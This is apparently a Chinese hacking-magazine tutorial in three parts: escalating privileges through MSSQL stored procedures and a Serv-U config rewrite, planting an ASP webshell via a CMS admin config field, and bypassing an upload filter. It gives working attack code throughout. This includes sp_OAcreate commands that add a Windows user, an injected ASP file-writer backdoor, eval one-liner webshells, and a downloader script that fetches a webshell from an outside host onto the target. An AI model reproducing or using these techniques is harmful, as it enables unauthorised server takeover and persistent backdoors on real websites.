★
很多朋友問過我這個錯誤信息是什么意思, 這里解釋一下, 其實很簡單, 那個錯誤是明明寫著 CreateProcess 進(jìn)程無法創(chuàng)建,而xp_cmdshell 是執(zhí)行什么進(jìn)程大家應(yīng)該知道吧, CMD這個進(jìn)程無法創(chuàng)建!有可能CMD設(shè)置權(quán)限拒絕SYSTEM訪問, 有可能是CMD刪除或者改名。 以上情況都可以造成 CMD進(jìn)程無法創(chuàng)建的, 如圖1。
圖1
看來直接想加用戶登陸服務(wù)器是不可能了, 可能有的朋友會說:不是還有SP_OAcreate 么?但是我在使用SP_OAcreate執(zhí)行:
★
DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD
@shell,’run’,null, ’C:WINdowssystem32cmd.exe /c net user fish sadfish /add’
★
的時候雖然提示執(zhí)行成功, 但是卻發(fā)現(xiàn)用戶并沒有添加進(jìn)去, 初步估計應(yīng)該是wscript.shell被刪掉了。
另外如果xp_regwrite 這個存儲在的話我們還可以用沙盒模式搞定他的。 不過雖然以上三個重要的存儲過程都不能用, 但是我們還可以用xp_subdirs來列目錄。 在列到D盤的時候發(fā)現(xiàn)了服務(wù)器裝有serv-u, 聰明的朋友們是不是想到了什么?我們可以通過使用FSO在suer-v的●ServUDaemon.ini●里寫配置信息 添加一個具有system權(quán)限的ftp用戶, 說做就做, 首先使用
★
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’d:Serv-U6.3ServUDaemon.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ’readline’, @line out
end
★
這段代碼的意思是通過使用存儲過程來讀取d:Serv-U6.3ServUDaemon.ini里的配置信息, 返回執(zhí)行成功 如圖2
圖片看不清楚?請點(diǎn)擊這里查看原圖(大圖)。
既然可以讀了 那么我們是不是可以寫一個進(jìn)去?繼續(xù)執(zhí)行
★
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’d:Serv-U6.3ServUDaemon.ini’,
exec @ret = sp_oamethod @f, ’writeline’, NULL, 《這里添寫自己寫好的SU配置信息, 剛才復(fù)制的那些都要寫上去, 在最后添加我們自己的, 跟我們在WEBSHELL里的serv-u提權(quán)是一樣的》
★
按F5, 執(zhí)行一下, 發(fā)現(xiàn)命令執(zhí)行成功, 馬上使用上面的語句復(fù)查一下, 發(fā)現(xiàn)已經(jīng)寫進(jìn)去了, 如圖3。
OK 剩下的事情就不用我多說了吧?FTP上去, 直接添加用戶登陸服務(wù)器就OK了, 這里就不多廢話了。 怎么樣?發(fā)現(xiàn)了吧?在滲透過程中只要細(xì)心+靈活的運(yùn)用知識就可以完美的達(dá)到效果啦。
二、網(wǎng)站配置文件插馬
MY動力管理系統(tǒng)相信很多朋友都玩過吧?但是他的后臺可是有點(diǎn)BT。 雖然有數(shù)據(jù)庫備份但是并不支持自定義路徑, 而且數(shù)據(jù)庫里還有
<% loop <% 不能閉和, 所以數(shù)據(jù)庫備份幾乎是沒什么用了。 不過以前有朋友提出可以先恢復(fù)再備份的方法, 不過我沒測試成功。
這里教大家的方法就是配置文件插馬, 至于怎么進(jìn)到后臺我就不說, 是注射也好, 下載默認(rèn)數(shù)據(jù)庫也好總之能進(jìn)后臺就OK了。 進(jìn)到后臺后我們會發(fā)現(xiàn)在常規(guī)設(shè)置, 那里有個網(wǎng)站信息配置, 點(diǎn)開他, 如圖4。
我們看到版權(quán)信息那里寫著 "版權(quán)所有 Copyright? 2003 <a href=’http://www.asp163.net&;#39;>動力空間</a>" , 這是系統(tǒng)自帶的, 因為這里沒有限制我們輸入的字符長度所以我們就可以在這里傳一個類似小馬的東西。 注意是類似, 而不是小馬(編輯點(diǎn)評:其實就是個小馬。 ), 直接在版權(quán)信息那里進(jìn)行替換, 前面要加上他原有的語句, 替換代碼如下:
★
版權(quán)所有 Copyright? 2003 <a href=’http://www.asp163.net&;#39;>動力空間</a>" ’版權(quán)信息
if Request("xiaoxin")="520" then
dim allen,creat,text,thisline,path
if Request("creat")="yes" then
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.CreateTextFile(server.mappath(Request("path")))
outfile.WriteLine Request("text")
Response.write "小新恭喜"
end if
Response.write "<form method=’POST’action=’"&Request.ServerVariables("URL")&"?xiaoxin=520&creat=yes’>"
Response.write "<textarea name=’text’>"&thisline&"</textarea><br>"
Response.write "<input type=’text’ name=’path’ value=’"&Request("path")&"’>"
Response.write "<input name=’submit’ type=’submit’ value=’ok’ ></form>"
Response.end
end if
%>
★
然后保存一下, 千萬注意, 這個時候, 千萬別跳轉(zhuǎn)任何頁面。 直接在ie地址欄內(nèi)將admin/Admin_Login.asp替換成 inc/config.asp?xiaoxin=520, 有人會問為什么了?因為在上邊版權(quán)信息內(nèi)的代碼, 是一段發(fā)送程序, 利用 inc/config.asp相關(guān)文件信息所寫。
進(jìn)入這個頁面之后會發(fā)現(xiàn):這是啥玩意? 好象一個小馬。 那你就當(dāng)小馬用好了, 上面寫你的ASP木馬代碼, 下面寫上路徑, 如圖5、6。
怎么樣?SHELL拿到了吧, 這里有一點(diǎn)要注意, 雖然SHELL是拿到了但是這個時候網(wǎng)站也掛掉了, 我們需要進(jìn)到SHELL里找到config.asp文件, 把里面的 "小新恭喜" 去掉, 就OK啦。
其實不光是MY動力管理系統(tǒng), 動易文章系統(tǒng)以前也存在這個問題:在站長信箱那里寫入"%><%eval(request("xiaozhi"))%><%’ 然后直接連接
inc目錄下的config.asp就可以了。 因為很多網(wǎng)站信息都是寫入在config.asp里的, 有空各位朋友可以自己去測試一下(編輯:如果讀者朋友懂ASP可以自己研究一些ASP程序是否在后臺配置文件用到FSO, 這樣基本上就是把配置信息寫到了ASP文件里了)。
三、突破一流信息監(jiān)控系統(tǒng)實現(xiàn)文件“上傳”
相信很多朋友可能遇到過這樣一個問題:在得到一個小馬以后傳大馬的時候服務(wù)器卻提示錯誤:很抱歉, 由于您提交的內(nèi)容中或訪問的內(nèi)容中含有系統(tǒng)不允許的關(guān)鍵詞, 本次操作無效, 系統(tǒng)已記錄您的IP及您提交的所有數(shù)據(jù)。 請注意, 不要提交任何違反國家規(guī)定的內(nèi)容!本次攔截的相關(guān)信息為:98424b88afb8, 如圖7。
本來以為換個大馬就可以了, 但是我換了N個馬都是不行。 我想可能是禁止提交了, 但是隨便提交幾個字都是OK的, 原來是因為它設(shè)置了限制提交字符, 只要我們的大馬里包含特殊字符就會被拒絕提交, 不過我們還是有辦法突破他的。
這個就好比我們上傳EXE文件的時候, 網(wǎng)站禁止了上傳, 但是我們可以采用外部下載的方式來把目標(biāo)文件下載到本地服務(wù)器中。 比如VBS?嘿嘿 好了, 這個方法就是, 只要服務(wù)器沒有禁用XML和數(shù)據(jù)流組件, 我們可以往服務(wù)器中提交以下ASP腳本文件, 代碼如下:
★
<%
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",http://www.hack521.cn/fish.txt,False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("fish.asp"),2
set sGet = nothing
set sPOST = nothing
%>
★
利用服務(wù)器的XML和數(shù)據(jù)流組件, 從我的blog的fish.txt的內(nèi)容下載到目標(biāo)站點(diǎn)根目錄并保存為fish.asp。 fish.txt中的內(nèi)容當(dāng)然就是被攔截的內(nèi)容了, 也就是我們的大馬。 之后訪問這個提交的ASP文件, 會出現(xiàn)一片空白, 然后我們再訪問這個fish.asp文件, 則想要上傳的內(nèi)容已經(jīng)被保存成功!如圖8。
怎么樣?親愛的讀者?你學(xué)會了沒有?是不是腦子里又多了一條新思路?這期我主要以三個實例來講解一下一些大家都知道但是都不常用的方法。 很多朋友問過我, 為什么我寫的文章里所用的方法家都知道, 為什么就想不到呢?還是那句話, 思路要清晰, 滲透是一個細(xì)致活, 不急不躁方能心平。 我的ID是CNSST或者加我
:MSSQL是個強(qiáng)大的數(shù)據(jù)庫, 能靈活運(yùn)用其提供給我們的擴(kuò)展, 就不是一般的高手了;關(guān)于配置文件寫馬, 為了寫馬后還能讓網(wǎng)站運(yùn)行正常, 寫進(jìn) Config.asp里的就要是容錯的一句話了, 比如:<%if request("cmd")<>"" then execute request("cmd")%>或者<%on error resume next:execute request("cmd")%>等等;如果你能熟練掌握MS的一些組件運(yùn)用, 你也是個高手了。